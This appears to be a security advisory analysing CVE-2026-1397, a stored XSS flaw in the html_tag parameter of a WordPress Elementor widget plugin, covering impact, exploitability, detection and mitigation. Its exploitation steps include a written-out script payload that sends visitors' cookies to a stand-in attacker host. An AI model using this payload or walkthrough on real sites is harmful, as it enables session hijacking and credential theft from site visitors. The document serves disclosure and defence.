CVE-2026-1397: 
WordPress vulnerability analysis and mitigation

CVE-2026-1397 is a Stored Cross-Site Scripting (XSS) vulnerability in the PQ Addons – Creative Elementor Widgets plugin for WordPress. It affects all versions up to and including 1.0.0, stemming from insufficient input sanitization and output escaping on the html_tag parameter within the PQ Section Title widget. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages, which execute for any user who visits the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting), specifically a stored XSS variant. The html_tag parameter in the PQ Section Title widget (used in style-1.php and style-2.php) is rendered directly into page output without proper sanitization or escaping, allowing attacker-controlled HTML/JavaScript to be persisted in the database and served to site visitors. Exploitation requires only contributor-level WordPress authentication, a low privilege threshold, and no user interaction beyond the victim loading the injected page. Vulnerable code paths are publicly visible in the plugin's source repository (WordPress Trac – style-1, WordPress Trac – style-2).

Successful exploitation allows injected scripts to execute in the browsers of all users who visit the compromised page, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page defacement, malicious redirects). Because the payload is stored server-side, every subsequent page visitor is affected without any further attacker interaction. Availability is not directly impacted, but the attack scope is changed — meaning the injected scripts can affect users beyond the attacker's own session (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1397 as of the available data. The EPSS score is approximately 0.032% (0.000320), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The low barrier to exploitation (contributor-level access is sufficient) does increase risk on sites with open user registration (Wordfence).

1. Gain Contributor Access: Register or compromise a WordPress account with at least contributor-level privileges on the target site running PQ Addons – Creative Elementor Widgets ≤ 1.0.0.
2. Create or Edit a Page: Navigate to the WordPress editor and add or edit a page/post using the Elementor page builder.
3. Insert PQ Section Title Widget: Add the PQ Section Title widget to the page layout.
4. Inject Malicious Payload: In the widget's html_tag attribute/parameter, supply a crafted value that breaks out of the expected HTML tag context and injects a script, for example: div><script>document.location='https://attacker.com/steal?c='+document.cookie</script><div.
5. Publish the Page: Save and publish the page, causing the malicious payload to be stored in the WordPress database.
6. Trigger Execution: Any authenticated or unauthenticated user who visits the injected page will have the script execute in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac – style-1).

• Database/Content: WordPress post content containing unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads within PQ Section Title widget blocks.
• Logs: Web server access logs showing POST requests to /wp-admin/admin-ajax.php or Elementor save endpoints from contributor-level accounts, followed by unusual outbound requests from victim browsers to external domains.
• Network: Outbound connections from site visitors' browsers to unknown external hosts (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages containing PQ Section Title widgets.
• File System: No direct file system artifacts expected for stored XSS, but review Elementor-saved page data in the WordPress database (wp_postmeta table) for suspicious html_tag values in widget configurations.

At the time of disclosure, no patched version beyond 1.0.0 was confirmed available for the PQ Addons – Creative Elementor Widgets plugin. Site administrators should deactivate and remove the plugin until a patched version is released. As a workaround, restrict contributor-level user registration and audit existing contributor accounts. Monitor the WordPress plugin repository for an updated release and apply it promptly upon availability (Wordfence).

The vulnerability was discovered and disclosed by Wordfence, which published the advisory on March 21, 2026. No significant broader media coverage or notable researcher commentary beyond the initial Wordfence report has been identified (Wordfence).